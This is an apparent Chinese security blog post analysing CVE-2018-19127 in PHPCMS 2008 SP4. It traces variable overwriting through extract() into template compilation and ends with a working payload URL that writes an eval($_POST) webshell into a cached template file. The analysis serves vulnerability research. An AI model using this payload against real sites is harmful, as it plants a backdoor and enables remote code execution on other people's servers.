PHPCMS-2008 SP4命令注入漏洞分析(CVE-2018-19127)

 Stardustsky   2018-11-28 16:24   2787 人阅读  0 条评论


在说这个漏洞之前,我们先需要了解phpcms的一个机制,就是类似于全局变量注册的一个东西,方便于程序员的开发,很多的CMS都会通过代码实现这样一套机制.

这套机制类似于早先php版本中的register_globals,后来因为安全问题,在5.30后被废除了,因此很多cms自己实现,但因为安全问题,这样机制一般会经过比较严格的过滤.

我们来看phpcms,在common.inc.php中,通过

if($_REQUEST)
{
	if(MAGIC_QUOTES_GPC)
	{
		$_REQUEST = new_stripslashes($_REQUEST);
		if($_COOKIE) $_COOKIE = new_stripslashes($_COOKIE);
		extract($db->escape($_REQUEST), EXTR_SKIP);
	}
	else
	{
		$_POST = $db->escape($_POST);
		$_GET = $db->escape($_GET);
		$_COOKIE = $db->escape($_COOKIE);
		@extract($_POST,EXTR_SKIP);
		@extract($_GET,EXTR_SKIP);
		@extract($_COOKIE,EXTR_SKIP);
	}
	if(!defined('IN_ADMIN')) $_REQUEST = filter_xss($_REQUEST, ALLOWED_HTMLTAGS);
	if($_COOKIE) $db->escape($_COOKIE);
}

来实现了全局变量注册,如果没有开启gpc,则通过一个escape函数对传入变量进行转义,我们看看这个escape函数

function escape($string)
	{
		if(!is_array($string)) return str_replace(array('\n', '\r'), array(chr(10), chr(13)), mysql_real_escape_string(preg_replace($this->search, $this->replace, $string), $this->connid));
		foreach($string as $key=>$val) $string[$key] = $this->escape($val);
		return $string;
	}

常规过滤操作,主要是一个针对sql注入的mysql_real_escape_string函数,其它没什么好说的,接下来我们看看漏洞点type.php

<?php
require dirname(__FILE__).'/include/common.inc.php';

$typeid = intval($typeid);
if(!empty($typeid) && !isset($TYPE[$typeid]))
{
	showmessage('访问的类别不存在!');
}
elseif(isset($TYPE[$typeid]))
{
	$T = cache_read('type_'.$typeid.'.php');
	extract($T);
	$head['title'] = $T['name'].'_'.$PHPCMS['sitename'];
	$head['keywords'] = $T['name'];
	$head['description'] = strip_tags($description);
}
if(empty($template)) $template = 'type';
$head['title'] = '类别首页_'.$PHPCMS['sitename'];
$head['keywords'] = $PHPCMS['meta_keywords'];
$types = array();
foreach($TYPE AS $k=>$v)
{
	if($v['module'] != 'phpcms') continue;
	$types[$k] = $v;
}
$TYPE = $types;
$ttl = CACHE_PAGE_LIST_TTL;
header('Last-Modified: '.gmdate('D, d M Y H:i:s', TIME).' GMT');
header('Expires: '.gmdate('D, d M Y H:i:s', TIME + $ttl).' GMT');
header('Cache-Control: max-age='.$ttl.', must-revalidate');
include template('phpcms', $template);
cache_page($ttl);
?>

注意$template变量,这个变量在该文件中并未被声明,因此可以通过变量覆盖的方式定义,从代码中可以看到该变量未经任何处理被传入了template函数,跟进一下

function template($module = 'phpcms', $template = 'index', $istag = 0)
{
	$compiledtplfile = TPL_CACHEPATH.$module.'_'.$template.'.tpl.php';
	if(TPL_REFRESH && (!file_exists($compiledtplfile) || @filemtime(TPL_ROOT.TPL_NAME.'/'.$module.'/'.$template.'.html') > @filemtime($compiledtplfile) || @filemtime(TPL_ROOT.TPL_NAME.'/tag.inc.php') > @filemtime($compiledtplfile)))
	{
		require_once PHPCMS_ROOT.'include/template.func.php';
		template_compile($module, $template, $istag);
	}
	return $compiledtplfile;
}

$template变量又被放入了template_compile函数中,继续跟

function template_compile($module, $template, $istag = 0)
{
	$tplfile = TPL_ROOT.TPL_NAME.'/'.$module.'/'.$template.'.html';
	$content = @file_get_contents($tplfile);
	if($content === false) showmessage("$tplfile is not exists!");
	$compiledtplfile = TPL_CACHEPATH.$module.'_'.$template.'.tpl.php';
	$content = ($istag || substr($template, 0, 4) == 'tag_') ? '<?php function _tag_'.$module.'_'.$template.'($data, $number, $rows, $count, $page, $pages, $setting){ global $PHPCMS,$MODULE,$M,$CATEGORY,$TYPE,$AREA,$GROUP,$MODEL,$templateid,$_userid,$_username;@extract($setting);?>'.template_parse($content, 1).'<?php } ?>' : template_parse($content);
	$strlen = file_put_contents($compiledtplfile, $content);
	@chmod($compiledtplfile, 0777);
	return $strlen;
}

在其中这句

$content = ($istag || substr($template, 0, 4) == 'tag_') ? '<?php function _tag_'.$module.'_'.$template.'($data, $number, $rows, $count, $page, $pages, $setting){ global $PHPCMS,$MODULE,$M,$CATEGORY,$TYPE,$AREA,$GROUP,$MODEL,$templateid,$_userid,$_username;@extract($setting);?>'.template_parse($content, 1).'<?php } ?>' : template_parse($content);

$template变量被直接拼接成为$content变量的一部分,然后被

file_put_contents($compiledtplfile, $content);

写入到文件之中,如此便导致了可以写入任意文件,我们在写入的时候,只要保证不被前面提到的mysql_real_escape_string干掉就行了.

执行payload

http://localhost/phpcms/type.php?template=tag_(){};eval($_POST[sai]);{//../rss

在phpcms\data\cache_template\rss.tpl.php

代码中成功插入攻击payload

zz.png


本文地址:http://www.stardustsky.net/index.php/post/61.html
版权声明:本文为原创文章,版权归 Stardustsky 所有,欢迎分享本文,转载请保留出处!
NEXT:已经是最新一篇了

 发表评论


表情

还没有留言,还不快点抢沙发?